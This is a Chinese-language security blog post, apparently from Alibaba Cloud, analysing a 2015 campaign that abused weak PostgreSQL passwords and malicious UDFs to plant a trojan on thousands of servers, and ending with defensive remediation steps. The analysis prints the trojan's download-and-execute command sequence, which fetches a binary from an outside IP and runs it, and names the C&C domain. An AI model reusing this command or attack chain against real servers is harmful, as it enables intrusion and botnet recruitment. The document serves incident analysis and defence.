閱讀1013 返回首頁    go 阿裏雲 go 技術社區[雲棲]


態勢感知將DDOS扼殺在搖籃中:涉及數千台PostgreSQL服務器

0x00 前言

       近日,雲盾的態勢感知係統成功捕獲到一起利用PostgreSQL弱口令批量植入木馬的事件。本文將分享我們對此次事件的追蹤過程,從攻擊方式,用到的工具,到攻擊的範圍,還原整個攻擊事件。

0x01 發現

       2015年11月27日星期五,雲盾態勢感知係統產出了一條異常的告警,團隊成員立即對告警進行響應。通過告警信息定位到了傳播源。

1a685b704501d634c40e0fc51d92fb213f4ea644

       我們發現該傳播源為一個HFS文件服務器:

d39dad961e70d7e76ef071870de3ce421f27b02a

       在HFS服務器中,發現了黑客用來批量掃描漏洞和自動攻擊的程序:ps.exe和pexec.exe。下載到本地進行分析之後,判定此工具為針對PostgreSQL數據庫的自動化攻擊程序。程序使用了C#編寫,ps.exe負責掃描PostgreSQL服務弱口令,將掃描結果通過web接口記錄到文件:

ad821ff413cb4e971a6195513a36cdbb7a63253f

       黑客將掃描到弱口令的IP列表導入到pexec.exe,程序會首先判斷服務器PostgreSQL的版本,通過SQL寫入對應的/tmp/testproxy.so文件,然後創建名為exec111的UDF函數,最後通過UDF執行惡意指令。有趣的是,我們在利用程序中並發現沒有針對windows版本的postgresql進行利用的代碼,說明黑客的程序還是一個半成品。下麵是針對linux下PostgreSQL 9.3版本的部分利用代碼:

1284fbe0e95d98c3761a1cde4738603dce35747b

       在兩個程序中,作者都寫入了對硬件CPU ID的判斷,程序僅允許在指定機器運行,但是作者卻沒對程序代碼做混淆和加殼。

f1e08b36ba0f54536cb3c27b8f2e28b9ff2ee717

       在攻擊者HFS上,我們還發現了攻擊者已經掃描到的PostgreSQL弱口令和利用成功的IP列表:

9a0b8b54b496ca1fa37b6b8ad97cbe23cde7caab

0315490c4ada7b23b3b0074f4d2b75943e4d5724

       經過我們統計,這份數據裏包含了被植入木馬的2626個IP地址,以及剛掃描出的1217台存在弱口令的PostgreSQL服務器IP地址。

       進一步對攻擊者植入的UDF程序進行逆向分析,發現該UDF執行了如下命令:

wget -P /tmp/ https://211.115.116.198:1234/testproxy -O /tmp/testproxy
chmod 777 /tmp/testproxy
/tmp/testproxy > testtmp &
rm -rf ./testproxy

       testproxy是真正的木馬程序,啟動後會嚐試解析baby0119.com域名,並連接其80端口,等待C&C發送指令並執行。

0x02 攻擊鏈路還原

  • 黑客通過ps.exe程序,全網掃描存在弱口令和空口令的PostgreSQL服務器並將IP保存。
  • 利用PostgreSQL pg_largeobject的特性,對漏洞主機發起攻擊:將惡意udf分段寫入PosrgreSQL表中,並導出實體文件到: /tmp/testproxy.so
  • 從/tmp/testproxy.so導入惡意代碼,創建UDF函數並執行,下載惡意文件傳播源(HFS服務器)上的testproxy木馬並運行。
  • 木馬啟動後會嚐試連接baby0119.com域名的 80端口,等待C&C發送指令。

0x03 漏洞影響

       攻擊者掃描全網存在弱口令和空口令的PostgreSQL數據庫主機,通過UDF函數植入木馬,通過木馬程序,攻擊者可以控製受害機器發起惡意行為。阿裏雲雲盾態勢感知係統在27日第一時間發現該威脅,截止本文終稿,還並未發現木馬C&C服務器開放和發送指令,我們推測攻擊者還處於批量“抓雞”階段,還沒有來得及開始利用這個木馬進行攻擊

  • 0x04影響範圍

           我們針對全國開放5432端口的服務器進行了詳細的探測,發現有19554台服務器運行著PostgreSQL服務,其中可以通過弱口令登錄PostgreSQL的服務器有1353台。按地區分布數量進行排名,第一位是台灣,浙江、北京排在第二、三位。

    90f355abaa3851d2fca27516b9d14914be6b09bf

            在分析PostgreSQL弱口令的過程中,我們注意到了PostgreSQL的一個特性,即“信任IP登錄”。在pg_hba.conf文件中,如果把某個IP段的auth-method字段配置為“trust”,意味著在該IP段下不需要任何驗證即可訪問數據庫中所有數據。對上述1353台存在弱口令的服務器進行深入分析,我們發現超過50%的PostgreSQL對所有IP都開啟了“trust”模式,這些服務器都存在極大的安全風險!

    98924e869435eaa03243501eb9e47c6b7d0b0a9f

    0x05 修複建議:

    1. 禁止postgresql以root權限運行,建議使用獨立帳號運行

    adduser dbuser

    sudo su – dbuser

    1. 修改數據庫帳號為強密碼,例如

    alter user postgres with password ‘aliyunSecurity1234*_*’;

    1. 檢查PostgreSQL配置文件conf中是否存在:host all all 0.0.0.0/0 trust ,建議修改為使用密碼認證。
    1. 查看是否存在惡意UDF函數

    select proname,prosrc from pg_proc where proname = ‘exec111’;

    1. 查看是否存在可疑UDF函數,查看哪些函數不是係統預設的、或者管理員自己添加的

    select proname,prosrc from pg_proc;

    1. 查看是否存在可疑存儲過程

    select tgrelid from pg_trigger;

    1. 檢查自己服務器是否存在/tmp/testproxy.so文件

最後更新:2017-04-01 13:51:26

  上一篇:go 「一問」駐雲科技架構雲:如何幫助企業更好的完成雲計算部署
  下一篇:go 雲計算市場群雄並起,“架構雲”突破重圍成為新寵